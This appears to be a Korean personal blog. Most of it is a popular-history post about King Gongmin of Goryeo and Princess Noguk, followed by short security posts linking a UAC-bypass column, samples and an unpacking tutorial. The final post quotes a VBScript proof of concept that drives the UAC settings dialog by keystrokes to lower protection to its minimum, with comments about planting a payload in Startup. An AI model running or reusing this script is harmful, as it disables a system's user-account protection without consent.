posted by 블르샤이닝 2014. 3. 18. 14:55
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안녕하세요.

 

오늘은 고려의 개혁군주, 공민왕과 그의 부인이었던 노국공주에 대한 이야기를 소개해드리겠습니다.

 

드라마 신돈, 영화 쌍화점 등을 통해 이미 많이 소개가 된 이야기지만 재미있게 봐주세요!

 

 

 

1367년 1월 공민왕이 홀로 술잔을 기울이고 있었다.

 

부인의 영정을 앞에 둔 채 였다. 

 

아내를 잃은지 벌써 3년, 그러나 공민왕은 여전히 아내의 죽음을 부정하고 있었다.

 


노국공주의 초상과 평상시처럼 지냈던 공민왕.

 

그는 요동을 정벌하고 권문세족을 숙청한 개혁군주였지만 노국공주를 잃은 공민왕은 심질...

 

 

즉 정신병에 걸린 군주일 뿐이었다.

 

사랑을 잃은 왕의 말년은 그렇게 시리고 아팠다.

 

 

 

 

 


139권의 방대한 기록 고려사.

 

고려왕에 대한 세세한 기록은 물론 열녀와 간신까지 포함한 천여명의 열전까지 실은 역사서이다.

 

그중 공민왕에 대한 기록을 찾아보았다.

 


공민왕의 본래 모습은 엄격하고 신중했으며 예의바른 성격이었다.

 

그러나 말년에는 의심이 많고 사나운 성품으로 변했다.

 

같은 사람이라고는 여겨지지 않는 그야말로 급격한 변모... 그 시작은 아내의 죽음이었다.

 

과도하게 슬픔에 빠진 나머지 스스로 의지를 상실한 것이다.

 

 

죽음도 갈라놓지 못한 그들의 사랑은 언제 어떻게 시작된 것일까?

 

고려가 쳐했던 비극적인 역사 속에 해답이 있다.

 

공민왕 이전, 쿠빌라이 칸은 중앙아시아를 정복하고 원을 세웠다.

 

원은 세계사에 유래가 없는 거대한 제국을 건설했다.

 

 

1341년 12살의 나이에 볼모로 끌려온 공민왕.

 

공민왕은 황제를 보호한다는 명목으로 황태자의 시중을 들었다.

 

고려에 대한 원의 지배는 왕자를 인질로 잡아두는 것에 그치지 않았고 마음대로 왕을 임명하고 폐위시키기도 했다.


고려왕의 귀양살이도 흔했다.

 

형 충혜왕이 왕위에서 내려오며 귀양길에 겪은 수모는 특히 모욕적이었다.

 

 


고려에 대한 지배력 강화를 위해 원은 고려의 왕과 원의 공주를 혼인시켰고, 그 아들은 북경으로 데려다 인질로 삼았다.


다섯명의 고려왕이 모두 일곱명의 몽골 공주와 결혼했다.

 

심지어 쿠빌라이 칸에게 장가 든 충렬왕은 부인에게 맞고 살았을 정도라고 한다.

 


이런 공민와에게 원나라 공주와의 결혼은 피하고 싶은 일 이었을 것이다.

 

그러나 1349년 공민왕은 원나라 여인인 노국공주와 혼인을 올린다.

 

이유는 무엇일까?

 

1344년 형 충혜왕이 유배길에 사망하고 공민왕의 조카인 충목왕이 보위에 오른다.

 

그 후에도 충혜왕의 서자가 공민왕을 제치고 충정왕이 된다.

 

공민왕의 어머니가 고려인이었ㄱ 때문이다.

 

공민왕에게는 든든한 후원자가 필요했고 5개월 뒤 노국공주와 서둘러 혼례를 치루었다.

 

그리고 2년 뒤 공민왕은 드디어 왕위에 오른다.

 

반원주의자였던 공민왕과 원나라 여인 노국공주의 결혼은 분명 정략결혼이었다.

 

그런 그들의 사랑이 깊어진 계기는 무엇이었을까?

 

바로 시련을 함께 이기며 돈독해졌던 것이다.

 


20만명의 홍건적이 무서운 속도로 남진해 20여일 만에 평양이 함락되고 두달만에 개경까지 넘어가자 공민왕과 노국공주는 피난을 떠났다.

 

길은 험했고 왕의 옷은 젖고 얼었다.

 

공민왕은 옷섶으로 불을 피워 몸을 녹였다.

 

 

그리고 2년 뒤 흥왕사...

 

괴한 50여명이 공민왕의 처소에 침입했다.

 

반역이었다.

 


그런데 목숨을 걸고 노국공주가 나섰다.

 

"저 방에 들어가려거든 나의 목을 베고 가라!"

 

괴한들은 원나라 공주의 기세에 역모를 포기하고 물러났다.

 

시련의 시기를 함께하며 그들의 사이는 더욱 가까워졌던 것이다.

 

 

 

 

 

그리고 1356년

 

 

노국공주의 든든한 후원을 바탕으로 공민왕의 은밀한 계획이 실행되었다.

 

그것은 친원세력의 숙청이었다.


기철과 그의 아들 유걸, 조카와 측근까지 기씨 일당 대부분이 그날 밤 그자리에서 즉사했다.

 


기철 일당의 처단, 그것은 위험한 선택이었다.

 

기철은 바로 원나라 기황후의 친오빠였기 때문이다.

 

누이가 황후에 조카가 황태자...

 

기철은 스스로를 신하라 칭하지도 않았다.

 

 

오만함은 도를 넘었고 친원파는 고려를 원의 속국으로 만드려 하였다.

 

원나라에 기댄 권문세족들은 매관매직을 일삼고 전국의 농지에서 수탈을 일삼았다.

 


공민왕이 친원세력을 제거할 당시 원나라는 각종 농민반란으로 흔들리는 말기였다.

 

고려에 정벌군을 보내기엔 역부족인 상황을 공민왕은 잘 이용하였던  것이다.

 


공민왕은 또한 원의 연호 사용을 금지하는 한편 고려에 설치된 원나라 관아 정동행성 또한 폐지시켰다.

 


이것은 시작에 지나지 않았다.

 

공민왕에게는 더 큰 포부가 있었다.

 

쌍성총관부를 격파하고 잃어버린 북방영토를 수복한 것이다.

 

 

이러한 자주고려를 위한 공민왕의 끝없는 노력.

 

노국공주에게는 자신이 자란 조국을 배반하는 일이었지만 그녀는 공민왕에 대한 지원을 아끼지 않았다.

 

그러나 행복했던 시간은 거기까지였다.

 


16년 만의 첫 임신... 공주가 위독했고 산달이 되자 병은 더욱 위독해졌다.

 

공민왕은 일급 죄인까지 사면하며 무탈을 빌었으나 결국 공주는 숨을 거두고 말았다.

 

 

공주가 죽은지 8년 뒤...

 

 

공민왕의 어머니가 왕을 찾아 묻기를, "어찌하여 후궁들을 가까이 하지 않소?"

 

 

이에 공민왕이 답하기를 "공주만한 여자가 없습니다."

 


"한번 죽는 것은 당연한 이치요. 왕도 결국 죽음을 면치 못할텐데 어찌 그렇게 심히 슬퍼하시오? 남들 웃음거리가 될까 두려우니 다시는 그렇게 하지 마시오."

 

슬픔에서 빠져나오지 못하던 공민왕은 말년에 이상행동을 보이기 시작했다.

 

미소년들로 이루어진 경호집단. 자제위를 설치하고 자신을 여자의 모습처럼 꾸미고 다녔다고 한다.

 

 
공민왕은 자제위를 늘 곁에 두고 새로 맞은 왕비조차 가까이 하지 않았다.

 

또한 극도로 문한해져 자제위 소년들의 밤을 훔쳐보는 것은 예삿일이었다.

 


기이한 왕의 행적.

 

새로 들인 아내를 멀리하고, 여장을 하고, 지나치게 총애한 자제위까지...

 

고려사에 기록된 말년의 공민왕은 차마 입에 담기 부끄러울 정도였다.

 

그렇게 2년...

 


공민왕은 자제위에 의해 살해당한다.

 

고려의 개혁군주로 23년, 노국공주의 남편으로 16년.

 

그리고 그리움에서 헤어나오지 못한채 9년.

 

마흔 다섯 왕의 죽음은 그렇게 허무했다.

 

공민왕은 생전의 바람대로 노국공주의 곁에 잠들었다.

 

고려시대 왕과 왕비를 함께 모신 유일한 쌍능이다.

 

고려의 왕릉 가운데 가장 아름다운 능으로 평가받는 공민왕릉의 내부는 죽음이 갈라놓지 못하도록 특별한 구조로 건축되어 있다.

 


공민왕고 노국공주의 지극한 사랑은 고려가 망하고 조선이 들어선 뒤에도 곧잘 회자된다.

 


조선의 정수를 관통하는 종묘.

 

조선의 임금과 왕비가 아니면 모실 수 없는 곳이다.

 

그런데 이곳에 공민왕이 있다.

 

그리고 공민왕의 곁에는 노국공주가 있다.

 

 

조선 건국의 정당성을 위해서 고려와 공민왕의 역사는 어둡게 쓰여져야만 했다.

 

하지만 노국공주와의 사랑은 인정할 수 밖에 없었다.

 

그 사랑까지 모욕하지는 못했던 것이다.

 

650여년이 지난 오늘날까지 전해져 오는 공민왕과 노국공주의 사랑은 역사의 신화가 된 세기의 사랑이었다.

 

 

 

어떻게 잘 보셨는지요?

 

상당히 분량이 많지만 재밌게 봐주셨기를...

 

참 아름답고 슬픈 사랑이네요.

 

우리 학원 수강생들도 언젠가 이 두 분처럼 아름다운 사랑 이루시길 바랍니다.

 

그럼 다음에 뵙죠!

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posted by 블르샤이닝 2014. 2. 20. 11:08
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https://drive.google.com/file/d/0B4fxnIet58UxbHpfZk9zNmtBR1k/edit?usp=sharing


말그대로 


퍼온곳은 : http://zer0day.tistory.com/66



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posted by 블르샤이닝 2014. 2. 13. 16:22
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원래는 문서로 올리지않고 편집해서 올리지만...이번엔 ..ㅎㅎ 왠지모를 귀차니즘의 승리로 걍 문서로 올린다;

 

JYJ_(칼럼)윈도우 UAC 우회.DOCX
다운로드

 

 

샘플은 공개되지 않았습니다.

103013_6dd699baa8bb7ac46269b31c4c00c71d89d5ffd0ed082b2c3a67d8b90609b196.zip
다운로드

 

 

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10년만에 추가 글 쓰네

 

아래 BAT 파일 참조하시면됨

 

윈도우 11 시스템 검사.BAT
0.00MB

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posted by 블르샤이닝 2014. 2. 4. 16:28
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음 유명한 외쿡사이트에서 구한 더미다 언팩 튜트리얼...


물론 영상및 파일이 들어가있다.


한동안 코딩 및 언팩 준비해야지 틈틈히;


n드라이브에 올린거라 공유기간제한있음~ 열공


http://me2.do/xiOvipDg


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posted by 블르샤이닝 2014. 1. 29. 16:20
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참조 : http://withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft
'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"


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